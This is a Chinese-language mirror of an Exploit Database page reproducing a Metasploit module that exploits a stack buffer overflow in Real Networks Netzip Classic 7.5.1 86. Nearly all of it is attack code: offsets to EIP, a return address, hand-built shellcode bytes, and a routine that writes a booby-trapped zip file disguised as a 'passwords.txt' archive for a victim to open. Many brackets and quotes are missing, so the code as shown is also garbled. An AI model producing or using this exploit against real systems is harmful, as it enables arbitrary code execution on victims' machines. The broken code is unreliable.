Real Networks Netzip Classic 7.5.1 86 – File Parsing Buffer Overflow (Metasploit)

Exploit Database
142 阅读

作者： Metasploit

日期： 2011-10-16
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/17985/

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# $Id: real_networks_netzip_bof.rb 13952 2011-10-16 15:47:04Z todb $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'rex/zip'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability',

'Description'=> %q{

This module exploits a stack-based buffer overflow vulnerability in

version 7.5.1 86 of Real Networks Netzip Classic.

In order for the command to be executed, an attacker must convince someone to

load a specially crafted zip file with NetZip Classic.

By doing so, an attacker can execute arbitrary code as the victim user.

'License'=> MSF_LICENSE,

'Author' =>

[

'C4SS!0 G0M3S', # Vulnerability discovery and original exploit

'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module

'Version'=> '$Revision: 13952 $',

'References' =>

[

[ 'BID', '46059' ],

[ 'URL', 'http://proforma.real.com' ],

[ 'URL', 'http://www.exploit-db.com/exploits/16083/' ],

'Platform'=> [ 'win' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload' =>

{

'Space' => 1000,

'BadChars'=> Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),

'DisableNops' => true,

'EncoderOptions' =>

{

'BufferRegister' => 'ESI'

}

'Targets'=>

[

'Windows XP SP3',

{

'Offset' => 247,# To EIP

'Ret'=> 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86

'Max'=> 2000, # Max buffer size

}

[

'Windows 7/Windows Vista',

{

'Offset' => 248,# To EIP

'Ret'=> 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86

'Max'=> 2000, # Max buffer size

}

'DisclosureDate' => 'Jan 30 2011',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),

OptString.new('CONTENTNAME', [ true, 'Name of the fake zipped file', 'passwords.txt']),

], self.class)

end

def exploit

buffer = "#{datastore['CONTENTNAME']}"

buffer << ' ' * (target['Offset']-buffer.length)

buffer << [target.ret].pack('V')

buffer << make_nops(8)

# GetPC - Non ascii characters get converted

buffer << "\x89\x05" #jmp short (5 bytes) to 'jmp back' at end

buffer << "\x5e" #pop esi

buffer << "\x41" #nop (inc ecx)

buffer << "\x98\x99" #call esi

buffer << "\x41" #nop (inc ecx)

buffer << "\x8a\x94\x98\x98\x98"#jmp back to pop esi

buffer << payload.encoded

buffer << rand_text_alpha(target['Max']-buffer.length)

zip = Rex::Zip::Archive.new

xtra = [0xdac0ffee].pack('V')

comment = [0xbadc0ded].pack('V')

zip.add_file(buffer, xtra, comment)

# Create the file

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(zip.pack)

end